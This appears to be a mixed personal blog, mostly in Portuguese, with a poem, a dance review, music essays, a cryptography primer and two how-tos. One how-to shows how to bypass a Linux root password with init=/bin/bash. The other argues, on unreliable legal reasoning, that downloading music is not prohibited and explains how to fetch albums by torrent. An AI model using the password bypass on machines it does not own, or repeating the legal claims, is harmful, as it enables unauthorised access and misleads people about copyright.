Jogar os filhos pela janela.
Ou que a culpa era toda dela?

Que mulher nunca penou:
Para ter a perna depilada.
Para aturar uma empregada.
Ou para trabalhar menstruada?

Que mulher nunca comeu:
Uma caixa de Bis, por ansiedade.
Uma alface, no almoço, por vaidade.
Ou, um canalha por saudade?

Que mulher nunca apertou:
O pé no sapato para caber.
A barriga para emagrecer.
Ou um ursinho para não enlouquecer?

Que mulher nunca jurou:
Que não estava ao telefone.
Que não pensa em silicone.
Ou que “dele” não lembra nem o nome?

System Rescue Without a Password

So you lost your Linux root password.

No panic. There is a way to reset it:

  1. Turn the computer on and pay attention.
  2. When the bootloader (GRUB or LiLo) screen appears, select the partition you want to fix the password.
  3. Do not boot it yet. Go into edit mode for this partition.
  4. In the end of the kernel boot parameters line, include this init=/bin/bash.
  5. Then boot the partition.
  6. You will see a very fast boot. And right after the pure kernel initialization you’ll receive a root command line. If you try to change a password at this time (with the passwd command), you’ll get a message that means you don’t have write permissions on the filesystem.
  7. So you’ll have to put your system in a read-write state whit this commands:
    bash# mount /proc
    bash# mount -o remount,rw /
  8. All set. Now use the passwd command to change the root password.
  9. Now type the following: sync; sync; exit. Then reset the system.

Note: If the computer has a BIOS or Bootloader password that you don’t know, you won’t be able to use this technique.

The idea here is to change the default program that is executed to setup all the OS environment, right after the kernel initialization. By default it is /sbin/init, and what we did above is to change it to /bin/bash — a regular shell prompt, a command line.

Grupo Corpo

O Grupo Corpo esteve em São Paulo com duas coreografias.

A Missa do Orfanato dançava uma missa de Mozart (que não era o Requiem) como pano de fundo. Dançarinos mostraram muita emoção nesse opus n° 1 (primeira obra) da companhia.

Ai teve um intervalo, e depois entraram com o Onqotô.

Pegue uma caixa, coloque o Onqotô, goiabada cascão, caipirinha de maracujá com boa cachaça, biscoito de polvilho, sorvete de bacurí, e doce de abóbora com côco, e você terá um perfeito Kit Brazil Export. Vontade de comer tudo. Talvez o Onqotô sozinho já dê conta do recado, de tão brasileiro que ele é. A voz zen de Caetano Veloso somava à perfeição a dinâmica vigorosa da coreografia. Adorei.

O intervalo era um espetáculo a parte. Muita gente bonita, com ar de descolada e que parecia emanar glamour e cultura. Todos alí prestigiando essa que está entre as mais importantes companhias de dança moderna do mundo. De logo aqui, Minas Gerais.

Nesses espetáculos minha namorada sempre sempre encontra todos seus sócios, e eu nunca nunca vejo pessoas da minha empresa.

♫ É só isso… ♫

Baixando Música da Internet

É muito controverso se é ilegal ou não baixar música da Internet. A lei e licença de uso do fonograma (faixa de um CD) ou não é clara ou ninguém nunca explicou isso direito.

Permalink desta parte Entenda o Contexto Primeiro

Outro dia conversei com um músico profissional que fazia faculdade de produção musical, e ficaram claros alguns aspectos:

  1. As grandes gravadoras prestam um serviço para a sociedade desta forma: encontrando talentos, patrocinando a produção e gravação do fonograma, produzindo um encarte bonito, divulgando o produto na TV, rádio, revistas, outdoors e novelas, e depois operando a logística de distribuição física do CD, além de em paralelo investir na própria evolução da tecnologia do CD, tudo isso para você poder ouvir música de alta qualidade técnica, e fácil de encontrar na loja perto da sua casa. Então nada mais justo que as gravadoras serem remuneradas por todo esse trabalho.
  2. Por isso, em geral a gravadora é dona do fonograma, e não o músico ou compositor. Isso significa que é ela quem decide quando, quanto e como vai publicar as canções (publicar significa prensar CDs e por nas lojas). O músico não pode pegar o fonograma, gravar um CD e sair vendendo, a não ser que ele compre os direitos sobre o fonograma, que são em geral muito caros.
  3. As gravadoras não estão defendendo os direitos dos artistas, mas seus próprios interesses. De fato, muitos artistas não gostam que as gravadoras digam que estão defendendo os direitos deles.
  4. Nesse processo todo, os músicos ganham os direitos autorais (que segundo alguns músicos que conheço, é pouco), que recebem de uma instituição independente, que por sua vez vem da gravadora e de outras fontes. Essa regra não vale para estrelas que tem poder (e agentes) para negociar contratos melhores com uma gravadora.
  5. O músico quer que sua arte seja conhecida e ouvida o máximo possivel.
  6. Músicos profissionais ganham mais dinheiro em shows e performances ao vivo, e menos em venda de CDs das gravadoras, que levam a sua obra.
  7. Pessoas só vão prestigiar os músicos num show (e pagar ingresso) se sua obra for boa e conhecida.
  8. Muitos bons artistas não tem penetração no mercado, dinheiro ou disposição para gravar um CD independente. Esses são os chamados “alternativos”.
  9. Excelentes músicos e lindos fonogramas podem ser pouco conhecidos ao ponto de ser comercialmente inviável dar-lhes espaço numa concorrida prateleira de loja de discos. Por isso é dificil encontrar gravações antigas ou as chamadas “alternativas” nas lojas: ou as pessoas já mudaram de gosto, ou há pouquíssimos compradores. A situação é pior para as gravações que são ao mesmo tempo antigas e alternativas.
  10. Eu estimo o custo de 1 CD — incluindo o plástico, encarte, trabalho artístico, pagamento do direito autoral, veiculação etc — em menos de R$5.
  11. Ouvi dizer que a lei proibe a redistribuição de fonogramas em meio físico (gravar um CD ou fita e sair vendendo ou comprando).
  12. A Internet não é considerada um meio físico. Por isso, nesse raciocínio, não é proibido usar a Internet como meio de distribuição de música, pelo menos para fonogramas produzidos/gravados/publicados antes da era Internet, o que inclui tudo antes de mais ou menos 1997. Depois disso, fonogramas começaram a ser produzidos com uma licença (os termos legais que definem o que é permitido ou não fazer com o fonograma) revisada que incluia a Internet — junto com CDs piratas, fitas caseiras, etc — como um meio ilícito de distribuir música direta e livremente.

Seja como for, baixar música da Internet leva tempo, vem sem o encarte — que conté muita arte gráfica e informações valiosas e é controverso se é ilegal ou não. Por outro lado, já foram vistos artistas e suas discografias completas disponíveis ao ponto de parecer irracional não baixar.

Você decide se vai seguir o que a mídia diz defendendo seus interesses — e não a dos artistas —, ou se vai prestigiar um músico e sentir tudo o que seu potencial criativo pode fazer com suas emoções.

Permalink desta parte Como Baixar: Método Fácil

Há diversos blogs em que amantes da música publicam albuns completos para serem facilmente baixados através de serviços como RapidShare, 4Shared, Badongo, etc. São geralmente albuns antigos, raros, que não se acha em lojas. Coisa de colecionador.

Os albuns vem geralmente comprimidos no formato RAR, que é um tipo de ZIP, e é necessário o software da Rar Labs para descompacta-los.

Segue uma lista de alguns blogs:

Na barra lateral desses blogs há sempre uma lista de links para outros blogs similares, então este método é de difícil procura, mas de fácil download. O método de BitTorrent abaixo é de procura mais fácil, mas de download mais complexo.

Permalink desta parte Como Baixar: Método Mais Eficiente, com BitTorrent

Abri espaço neste blog para um conhecido relatar como se faz. Este método usa a tecnologia Bit Torrent e estes são passos para usa-la com sucesso:

  1. Baixe e instale algum cliente Bit Torrent como o BitComet (só para Windows) ou o Azureus (Mac, Linux, Java, Windows). Estes softwares são seguros, não instalam spyware nem virus, e seu uso é totalmente legal.
  2. Use o site www.isohunt.com para procurar músicas por nome, artista, etc. Ele pode ser usado também para procurar outros tipos de arquivos. Você pode também procurar na Internet por outros sites the provem “torrents”.
  3. Procure por, por exemplo, “Mozart” ou “Bach“, etc (clique nesses links para ver um resultado de busca do exemplo).
  4. Você vai encontrar coleções completas de artistas, etc e arquivos muito muito grandes, que as vezes demoram dias para baixar. Os primeiros resultados que ele mostrar são os downloads mais ativos, e por isso mais rápidos para baixar.
  5. Selecione o ítem que você quiser, ele vai se expandir, e então clique no link chamado “Download Torrent” para começar a baixar.
  6. Isso vai disparar o programa de Bit Torrent (BitComet ou Azureus acima), que vai te perguntar onde você quer gravar o download. Escolha um diretório que você vai lembrar depois.
  7. Antes de dar OK, você pode ver a lista (enorme, se for coleção completa) de arquivos que serão trazidos, e pode selecionar para baixar só os arquivos que te interessam, ou tudo.
  8. Monitore a atividade do download e garanta que você está baixando em boa velocidade. Se estiver constantemente muito lento (pode haver períodos de maior lentidão), é melhor cancelar e procurar outro download.
  9. Mesmo baixando muito rápido, um download grande pode demorar dias para se completar.
  10. Depois de terminar o download, se você usa Linux, use o Musicman para organizar seus MP3.

Seja responsável e boa sorte !

O Violão Solar de Ulisses Rocha

Esses dias peguei estrada e coloquei aquele CD chamado Brasil Musical onde ouvi pela primeira vez o Ulisses Rocha. Desde aquele primeiro choque, anos atrás, quantas coisas maravilhosas conheci desse violonista e compositor !

Ulisses RochaSim, hoje sei que Ulisses Rocha superou os monumentais do violão brasileiro: Sebastião Tapajos, Raphael Rabello, Paulinho Nogueira, e até Paulo Bellinati. Ele é completo e faz tudo de forma singular. Quando compõe, ampla e magnificamente, com uma inspiração solar, revela um canal aberto com planos transcendentais, espirituais. Mas é quando ele executa suas composições que suas harmonias alcançam nosso coração. Fico imaginando qual outro violonista poderia tocar Ulisses Rocha….

Não, não há sambas, maxixes, choros e bossas no repertório de Ulisses. Devemos recorrer aos outros monumentais para essas pulsações: Paulinho Nogueira, Rabelo, Canhoto, etc. Não que isso lhe falte, pois sua linguagem e sintonia são universais.

Sua técnica é intrigante. Por mais que escuto não consigo entender o que ele faz diferente. Só sei que é. Num perfeito balanço entre graves e agudos, que preenche cuidadosamente todo o ar. Quando digo técnica não me refiro a velocidade da pegada, tocar com os dentes, ou com o violão nas costas, mas a quantidade de beleza produzida quando 10 dedos encontram 6 cordas.

Mas onde está Ulisses Rocha no conhecimento das pessoas? Poucos ouviram falar, poucos o escutam. Isso me lembra a história de Bach, Mozart, etc, que eram praticamente desconhecidos à sua época, mas que suas obras se perpetuaram na universalidade décadas, séculos depois. Como eles, Ulisses nos traz o futuro hoje.

Não saia daqui antes de ouvir algumas de suas músicas (clique com o botão direito sobre o link para baixar o MP3 de alta qualidade antes de ouvir):

E conheça também outros violonistas brasileiros:

Sabedoria

Sabedoria é uma das melhores qualidades que uma pessoa pode ter.

A gente sabe que encontrou uma pessoa sábia quando se sente iluminado numa rápida conversa com ela.

Meu pai é assim. Qualquer assuntinho, e lá vai ele esbanjando sabedoria. E digo isso sem invocar a porção filho-coruja em mim. Não é a toa que um monte de gente se pendura nele pedindo conselho, chamando de mestre, etc.

Sabedoria não é inteligência. Sei lá… inteligente é o cara que resolve uma equação diferencial, ganha no xadrez. Sábio é quem solta duas frases e muda a sua semana, seu mês, as suas opiniões sobre a vida.

É uma mistura fina de intuição aguçada, senso prático, liberdade de pensamento, pitadas de boa cultura, irreverência, visão holística, e principalmente um sereno bloqueio a idéias pré-concebidas. O sábio parece que medita sobre aquilo que fala, sem deixar sua personalidade ou experiências pessoais interferirem no mergulho — mas ainda sendo sensível —, e por isso chega a conclusões que cheiram a superóbvias, mas tem um sabor completamente refrescante.

Eu conheço alguns sábios, cada um com seu temperamento: meu pai, como já disse, o Alexandre Santos, Cezar Taurion, Nick Donofrio, e tem também a Melina Castro que está a passos largos rumo a uma sapiência zen. Alguns trabalham comigo e é um prazer ouvir suas opiniões.

Quando crescer, quero ser sábio. Menos para impressionar os outros, e mais para ser feliz, fruto de experiências de vida de sábias decisões pessoais.

Tudo que você precisa saber sobre Criptografia

…e tinha medo de perguntar

A palavra “criptografia” vem do grego e significa “escrita escondida”. Bem, ainda não temos a tecnologia dos filmes de fantasia onde um pergaminho aparentemente em branco revela um mapa do tesouro quando exposto ao luar, mas a criptografia simula isso transformando a informação em algo ilegível ou aparentemente sem valor. Muito fácil: se eu rabiscar bem um cheque de R$100.000,00 ele também perde seu valor por ficar ilegível.

O difícil é o inverso: tornar legível o ilegível, e é aí que está a magia da criptografia.

O primeiro lugar onde alguém antenado pensaria em usar criptografia é na guerra, para comunicar estratégia de movimentação a tropas distantes, espionagem, etc. Se o inimigo intercepta essa comunicação, principalmente sem o primeiro saber, ganha a guerra. Por isso quem primeiro estudou técnicas de criptografia foram os militares, governos e instituições de pesquisas secretas. Focavam em duas coisas: como criptografar melhor e como descriptografar as mensagens do inimigo (criptoanálise).

Na nossa Era da Informação e Internet, criptografia tem um papel central porque viabiliza comunicação segura. Mais até: não teríamos uma Era da Informação se criptografia não fosse de uso dominado por qualquer cidadão, simplesmente porque o mundo comercial não entraria nessa onda de trocar informação (e fazer negócios) por redes abertas se não houvesse um meio de garantir confidencialidade.

Trata-se de um tema muito vasto, fascinante, com muitos desdobramentos tecnológicos. Então vamos somente nos focar em entender aqui o vocabulário desse mundo.

Criptografia de Chave-Simétrica

Criptografia digital já era usada secretamente desde 1949 por militares e governos. Em meados da década de 1970 a IBM inventou o padrão DES (Data Encription Standard) de criptografia, que passou a ser largamente utilizado até os dias de hoje. A partir daí tudo mudou.

Como exemplo de seu funcionamento, se a Paula quer enviar uma mensagem secreta para Tatiana, ela deve fazer isso:

Mensagem + ChaveSimétrica = MensagemCriptografada

Então MensagemCriptografada é enviada para Tatiana por uma rede aberta, que para lê-la terá que fazer o seguinte:

MensagemCriptografada + ChaveSimétrica = Mensagem

Uma analogia a essas equações seria como se ambas trocassem caixas que abrem e fecham com uma chave (a chave simétrica), que contém cartas secretas. Para a Tatiana abrir a caixa da Paula, terá que usar uma cópia da chave que a última usou para fecha-la.

O que representamos pela soma (+) é na verdade o algoritmo de cifragem (ou o mecanismo da fechadura) que criptografa e descriptografa a mensagem. Hoje em dia, esses algoritmos tem geralmente seu código fonte aberto, e isso ajudou-os a se tornarem mais seguros ainda, pois foram limpos e revisados ao longo dos anos por muitas pessoas ao redor do mundo.

A Chave Simétrica é uma seqüencia de bits e é ela que define o nível de segurança da comunicação. Ela deve ser sempre secreta. Chama-se simétrica porque todos os interessados em se comunicar devem ter uma cópia da mesma chave.

O DES com chave de 56 bits pode ser quebrado (MensagemCriptografada pode ser lida sem se conhecer a chave), e outros cifradores de chave simétrica (symmetric-key, ou private-key) mais modernos surgiram, como 3DES, AES, IDEA, etc.

O maior problema da criptografia de chave simétrica é como o remetente envia a chave secreta ao destinatário através de uma rede aberta (e teoricamente insegura). Se um intruso descobri-la, poderá ler todas as mensagens trocadas. Mais ainda, comprometerá a comunicação entre todo o conjunto de pessoas que confiavam nessa chave.

Criptografia de Chave Pública

Esses problemas foram eliminados em 1976 quando Whitfield Diffie e Martin Hellman trouxeram a tona os conceitos da criptografia de chave pública também conhecida por criptografia por par de chaves ou de chave assimétrica. Trata-se de uma revolução no campo das comunicações, tão radical quanto é o motor a combustão para o campo de transportes. Eles descobriram fórmulas matemáticas que permitem que cada usuário tenha um par de chaves de criptografia matematicamente relacionadas, uma privada e outra pública, sendo a última, como o próprio nome diz, publicamente disponível para qualquer pessoa. Essas fórmulas tem a impressionante característica de o que for criptografado com uma chave, só pode ser descriptografado com seu par. Então, no nosso exemplo, Paula agora enviaria uma mensagem para Tatiana da seguinte maneira:

Mensagem + ChavePública(Tatiana) = MensagemCriptografada

E Tatiana leria a mensagem assim:

MensagemCriptografada + ChavePrivada(Tatiana) = Mensagem

E Tatiana responderia para Paula da mesma forma:

Resposta + ChavePública(Paula) = RespostaCriptografada

Ou seja, uma mensagem criptografada com a chave pública de uma, só pode ser descriptografada com a chave privada da mesma, então a primeira pode ser livremente disponibilizada na Internet. E se a chave privada da Paula for roubada, somente as mensagens para a Paula estariam comprometidas.

O cifrador de chave pública tido como mais confiável é o RSA (iniciais de Rivest, Shamir e Adleman, seus criadores).

Criptografia assimétrica permitiu ainda outras inovações revolucionárias: se Tatiana quer publicar um documento e garantir sua autenticidade, pode fazer:

Documento + ChavePrivada(Tatiana) = DocumentoCriptografado

Se um leitor conseguir descriptografar este documento com a chave pública da Tatiana significa que ele foi criptografado com a chave privada da Tatiana, que somente ela tem a posse, o que significa que somente a Tatiana poderia te-lo publicado. Nasce assim a assinatura digital.

Infraestrutura para Chaves Públicas

O PGP (Pretty Good Privacy) foi o primeiro sistema de segurança que ofereceu criptografia de chave pública e assinatura digital de qualidade para as massas. Ficou tão popular que virou o padrão OpenPGP e posteriormente recebeu várias implementações livres. É largamente usado até hoje, principalmente em troca de e-mails. Sua popularização exigiu que houvesse uma forma para as pessoas encontrarem as chaves públicas de outras pessoas, que muitas vezes nem eram conhecidas pelas primeiras. No começo dos tempos do PGP, haviam sites onde as pessoas publicavam suas chaves públicas para as outras encontrarem. Talvez esta foi a forma mais rudimentar de PKI ou Public Key Infrastructure. PKI é um conjunto de ferramentas que uma comunidade usa justamente para a classificação, busca e integridade de suas chaves públicas. É um conjunto de idéias e não um padrão nem um produto. Conceitos de PKI estão hoje totalmente integrados em produtos de colaboração como o Lotus Notes da IBM, e seu uso é transparente ao usuário.

Certificados Digitais

Como Tatiana pode ter certeza que a chave pública de Paula que ela tem em mãos, e que está prestes a usar para enviar uma mensagem segura, é realmente de Paula? Outra pessoa, agindo de má fé, pode ter criado uma chave aleatória e publicado-a como sendo da Paula. Podemos colocar isso de outra forma: como posso ter certeza que estou acessando realmente o site de meu banco e não um site impostor que quer roubar minha senha, e meu dinheiro? Não gostaria de confiar em meus olhos só porque o site realmente se parece com o de meu banco. Haveria alguma forma mais confiável para garantir isso ?

Em 1996, a Netscape, fabricante do famoso browser, atacou este problema juntando o que havia de melhor em criptografia de chave pública, PKI (através do padrão X.509), mais parcerias com entidades confiáveis, e inventou o protocolo SSL (Secure Socket Layer ou TLS, seu sucessor), e foi graças a este passo que a Internet tomou um rumo de plataforma comercialmente viável para negócios, e mudou o mundo.

Para eu mandar minha senha com segurança ao site do banco, e poder movimentar minha conta, o site precisa primeiro me enviar sua chave pública, que vem assinada digitalmente por uma outra instituição de grande credibilidade. Em linhas gerais, os fabricantes de browsers (Mozilla, Microsoft, etc) instalam em seus produtos, na fábrica, os certificados digitais dessas entidades, que são usadas para verificar a autenticidade da chave pública e identidade do site do banco. Este, por sua vez, teve que passar por um processo burocrático junto a essa entidade certificadora, provando ser quem diz ser, para obter o certificado.

O SSL descomplicou essa malha de credibilidade, reduzindo o número de instituições em quem podemos confiar, distribuindo essa confiança por todos os sites que adquirirem um certificado SSL.

Na prática, funciona assim:

  1. Acesso pela primeira vez o site de uma empresa que parece ser idônea.
  2. Ele pede o número de meu cartão de crédito.
  3. Se meu browser não reclamou da segurança desse site, posso confiar nele porque…
  4. …o site usa um certificado emitido por uma entidade que eu confio.

Pode-se verificar os certificados que o fabricante do browser instalou, acessando suas configurações de segurança. Você vai encontrar lá entidades como VeriSign, Thawte, Equifax, GeoTrust, Visa, entre outros.

Segurança Real da Criptografia

Quanto maior for a chave de criptografia (número de bits) mais difícil é atacar um sistema criptográfico. Outros fatores influenciam na segurança, como a cultura em torno de manter bem guardadas as chaves privadas, qualidade dos algoritmos do cifrador, etc. Este último aspecto é muito importante, e tem se estabilizado num bom nível alto, porque esses algoritmos tem sido produzidos num modelo de software livre, o que permite várias boas mentes audita-los e corrigir falhas ou métodos matemáticos ruins.

A segurança real de qualquer esquema de criptografia não foi comprovada. Significa que, teoricamente, qualquer um que tiver muito recurso computacional disponível pode usa-lo para quebrar uma mensagem criptografada. Teoricamente. Porque estaríamos falando de centenas de computadores interconectados trabalhando para esse fim. Na prática, hoje isso é intangível, e basta usar bons produtos de criptografia (de preferência os baseados em software livre), com boas práticas de administração, e teremos criptografia realmente segura a nossa disposição.